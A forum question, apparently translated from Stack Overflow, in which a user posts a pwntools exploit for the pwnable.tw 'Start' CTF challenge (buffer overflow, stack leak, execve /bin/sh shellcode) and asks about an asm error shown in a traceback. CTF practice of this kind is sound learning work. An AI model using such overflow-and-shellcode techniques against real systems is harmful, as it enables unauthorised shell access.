I was solving the first challenge Start
on pwnable.tw
and here is the code I've written:
(我正在解决第一个挑战Start
pwnable.tw
Start
,这是我编写的代码:)
from pwn import *
r = remote('chall.pwnable.tw', 10000)
context.arch = 'i386'
print(r.recvuntil('CTF:'))
payload1 = 'A'*20 + p32(0x08048087)
r.send(payload1)
esp = u32(r.recv()[:4])
shellcode = asm('
'.join([
'push %d' % u32('/sh'),
'push %d' % u32('/bin'),
'mov eax, 0xb'
'xor ecx, ecx'
'xor edx, edx'
'mov ebx, esp'
'int 0x80'
]))
payload2 = 'A'*20 + p32(esp+20) + shellcode
r.send(payload2)
r.interactive()
I'm getting an error on line 13. The error says that:
(我在第13行出现错误。该错误表示:)
[+] Opening connection to chall.pwnable.tw on port 10000: Done
Let's start the CTF:
Traceback (most recent call last):
File "start.py", line 13, in <module>
'mov eax, 0xb'
File "/Users/arav/Library/Python/2.7/lib/python/site-packages/pwnlib/context/__init__.py", line 1440, in setter
return function(*a, **kw)
File "/Users/arav/Library/Python/2.7/lib/python/site-packages/pwnlib/asm.py", line 643, in asm
assembler = _assembler()
File "/Users/arav/Library/Python/2.7/lib/python/site-packages/pwnlib/asm.py", line 246, in _assembler
version = re.search(r' (d.d+)', result).group(1)
AttributeError: 'NoneType' object has no attribute 'group'
[*] Closed connection to chall.pwnable.tw port 10000
What exactly is the error with the asm instructions on python2.7.17??
(python2.7.17上的asm指令到底有什么错误?)
ask by Arav Garg translate from so 与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…